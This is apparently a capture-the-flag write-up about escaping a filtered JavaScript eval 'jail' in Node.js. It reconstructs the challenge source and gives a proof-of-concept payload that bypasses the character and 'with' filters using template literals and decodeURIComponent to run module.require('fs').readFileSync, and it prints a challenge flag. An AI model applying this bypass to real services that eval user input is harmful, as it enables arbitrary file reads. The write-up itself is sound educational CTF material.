Warning: As I found the solution after the server was down. So I could not evaluate if this answer was correct. Please let me know if you found there is any mistake.

Questions:


This time the filter was upgraded.
Phone #> this
Calling function call(number) {
        var line = "";

        var call,Array,ArrayBuffer,Boolean,Buffer,DTRACE_HTTP_CLIENT_REQUEST,DTRACE_HTTP_CLIENT_RESPONSE,DTRACE_HTTP_SERVER_REQUEST,DTRACE_HTTP_SERVER_RESPONSE,DTRACE_NET_SERVER_CONNECTION,DTRACE_NET_STREAM_END,DataView,Date,Error,EvalError,Float32Array,Float64Array,Function,Int16Array,Int32Array,Int8Array,Map,Number,Object,Promise,Proxy,RangeError,ReferenceError,Set,String,Symbol,SyntaxError,TypeError,URIError,Uint16Array,Uint32Array,Uint8Array,Uint8ClampedArray,WeakMap,WeakSet,__defineGetter__,__defineSetter__,__lookupGetter__,__lookupSetter__,assert,call,clearImmediate,clearInterval,clearTimeout,constructor,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,escape,events,flag,global,hasOwnProperty,isFinite,isNaN,isPrototypeOf,parseFloat,parseInt,process,propertyIsEnumerable,require,rl,setImmediate,setInterval,setTimeout,stream,template,toLocaleString,toString,unescape,valueOf;

        if(new RegExp(/[\[\]\.\\\+\/;,=]/).test(number)){
            console.log("Dangerous characters detected");
            throw 123;
            return;
        }

        if(new RegExp(/with/i).test(number)){
            console.log("Dangerous characters detected");
            throw 123;
            return;
        }

        arguments = undefined;

        console.log("Calling "+eval(number)+"... Nobody picks up!");
        throw 123;
    }... Nobody picks up!

Ok, the ‘with’ was filtered, ‘+’, ‘;’ ‘=’ were also filtered?

(╯°Д°)╯ ┻━┻

The following trick I found could bypass the filter of ‘;’

There was feature called Automatic Semicolon Insertion, use {} to wrap every statement could call multiple statement without ‘;’

e.g. {statementA}{statementB} is equivalent to statementA;statementB;

But turned out this was absolutely no use for the pwn…

I could not figure out the answer before the game was ended. This question puzzled me until today.

The trick:模板源文本 (template literals)

Basically, this trick was to concatenate variables, functions, and strings without using ‘+’

e.g. `StringA${VariableB}${FunctionC()}`is equivalent to ‘String A’ + VariableB + FunctionC()

I didn’t (couldn’t) clone the full program of jail2 so I rewrite the Jail 1’s program to the Jail 2 version.  Basically I just updated the filter.

var flag = "SECT{iamjail2flag}"
var readline = require('readline');
var rl = readline.createInterface(process.stdin, process.stdout);

var Jail = (function() {
    var rv = {};

    function call(number) {
            var line = "";

            var call,Array,ArrayBuffer,Boolean,Buffer,DTRACE_HTTP_CLIENT_REQUEST,DTRACE_HTTP_CLIENT_RESPONSE,DTRACE_HTTP_SERVER_REQUEST,DTRACE_HTTP_SERVER_RESPONSE,DTRACE_NET_SERVER_CONNECTION,DTRACE_NET_STREAM_END,DataView,Date,Error,EvalError,Float32Array,Float64Array,Function,Int16Array,Int32Array,Int8Array,Map,Number,Object,Promise,Proxy,RangeError,ReferenceError,Set,String,Symbol,SyntaxError,TypeError,URIError,Uint16Array,Uint32Array,Uint8Array,Uint8ClampedArray,WeakMap,WeakSet,__defineGetter__,__defineSetter__,__lookupGetter__,__lookupSetter__,assert,call,clearImmediate,clearInterval,clearTimeout,constructor,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,escape,events,flag,global,hasOwnProperty,isFinite,isNaN,isPrototypeOf,parseFloat,parseInt,process,propertyIsEnumerable,require,rl,setImmediate,setInterval,setTimeout,stream,template,toLocaleString,toString,unescape,valueOf;

            if(new RegExp(/[\[\]\.\\\+\/;,=]/).test(number)){
                console.log("Dangerous characters detected");
                throw 123;
                return;
            }

            if(new RegExp(/with/i).test(number)){
                console.log("Dangerous characters detected");
                throw 123;
                return;
            }

            arguments = undefined;

            console.log("Calling "+eval(number)+"... Nobody picks up!");
            throw 123;
        }
    rv.call = call;
    rv.toString = function(){return rv.call.toString()};

    return rv;
})();

template = `_____________________________
     ||   ||     ||   ||
     ||   ||, , ,||   ||
     ||  (||/|/(\/||/  ||
     ||  ||| _'_´|||  ||
     ||   || o o ||   ||
     ||  (||  - ´||)  ||
     ||   ||  =  ||   ||
     ||   ||\\___/||   ||
     ||___||) , (||___||
    /||---||-\\_/-||---||\\
   / ||--_||_____||_--|| \\
  (_(||)-|S555-4202|-(||)_)
|"""""""""""""""""""""""""""|
| "You get one call, UNO."  |
 """""""""""""""""""""""""""
 Phone #> `;

function youcanneverguessthisfunction(){
  rl.question('previous challenge>',function(answer){
    //Jail1 flag
    if (answer !== 'SECT{1ts_1n_th4T_pl4Ce_Wh3re_1_Pu7_tH4t_Th1ng_th4T_t1m3,}')  {
      console.log('Wrong!');
      process.exit();
    }
    rl.question(template,function(answer){
      try{
        Jail.call(answer);
      } catch (e) {
        process.exit();
      }
    });
  });
}

youcanneverguessthisfunction();

This is not the original program of Jail2. But I guess it is quite similar to the original one.

POC:

previous challenge>SECT{1ts_1n_th4T_pl4Ce_Wh3re_1_Pu7_tH4t_Th1ng_th4T_t1m3,}
_____________________________
     ||   ||     ||   ||
     ||   ||, , ,||   ||
     ||  (||/|/(/||/  ||
     ||  ||| _'_´|||  ||
     ||   || o o ||   ||
     ||  (||  - ´||)  ||
     ||   ||  =  ||   ||
     ||   ||\___/||   ||
     ||___||) , (||___||
    /||---||-\_/-||---||\
   / ||--_||_____||_--|| \
  (_(||)-|S555-4202|-(||)_)
|"""""""""""""""""""""""""""|
| "You get one call, UNO."  |
 """""""""""""""""""""""""""
 Phone #> eval(`w${line}ith (root) { eval(decodeURIComponent("module%2Erequire('fs')%2EreadFileSync(__filename)")) }`)
Calling var flag = "SECT{iamjail2flag}"
var readline = require('readline');
var rl = readline.createInterface(process.stdin, process.stdout);

var Jail = (function() {
    var rv = {};

    function call(number) {
            var line = "";

            var call,Array,ArrayBuffer,Boolean,Buffer,DTRACE_HTTP_CLIENT_REQUEST,DTRACE_HTTP_CLIENT_RESPONSE,DTRACE_HTTP_SERVER_REQUEST,DTRACE_HTTP_SERVER_RESPONSE,DTRACE_NET_SERVER_CONNECTION,DTRACE_NET_STREAM_END,DataView,Date,Error,EvalError,Float32Array,Float64Array,Function,Int16Array,Int32Array,Int8Array,Map,Number,Object,Promise,Proxy,RangeError,ReferenceError,Set,String,Symbol,SyntaxError,TypeError,URIError,Uint16Array,Uint32Array,Uint8Array,Uint8ClampedArray,WeakMap,WeakSet,__defineGetter__,__defineSetter__,__lookupGetter__,__lookupSetter__,assert,call,clearImmediate,clearInterval,clearTimeout,constructor,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,escape,events,flag,global,hasOwnProperty,isFinite,isNaN,isPrototypeOf,parseFloat,parseInt,process,propertyIsEnumerable,require,rl,setImmediate,setInterval,setTimeout,stream,template,toLocaleString,toString,unescape,valueOf;

            if(new RegExp(/[\[\]\.\\\+\/;,=]/).test(number)){
                console.log("Dangerous characters detected");
                throw 123;
                return;
            }

            if(new RegExp(/with/i).test(number)){
                console.log("Dangerous characters detected");
                throw 123;
                return;
            }

            arguments = undefined;

            console.log("Calling "+eval(number)+"... Nobody picks up!");
            throw 123;
        }
    rv.call = call;
    rv.toString = function(){return rv.call.toString()};

    return rv;
})();

template = `_____________________________
     ||   ||     ||   ||
     ||   ||, , ,||   ||
     ||  (||/|/(\/||/  ||
     ||  ||| _'_´|||  ||
     ||   || o o ||   ||
     ||  (||  - ´||)  ||
     ||   ||  =  ||   ||
     ||   ||\\___/||   ||
     ||___||) , (||___||
    /||---||-\\_/-||---||\\
   / ||--_||_____||_--|| \\
  (_(||)-|S555-4202|-(||)_)
|"""""""""""""""""""""""""""|
| "You get one call, UNO."  |
 """""""""""""""""""""""""""
 Phone #> `;

function youcanneverguessthisfunction(){
  rl.question('previous challenge>',function(answer){
    //Jail1 flag
    if (answer !== 'SECT{1ts_1n_th4T_pl4Ce_Wh3re_1_Pu7_tH4t_Th1ng_th4T_t1m3,}')  {
      console.log('Wrong!');
      process.exit();
    }
    rl.question(template,function(answer){
      try{
        Jail.call(answer);
      } catch (e) {
        process.exit();
      }
    });
  });
}

youcanneverguessthisfunction();
... Nobody picks up!

Cheers(?)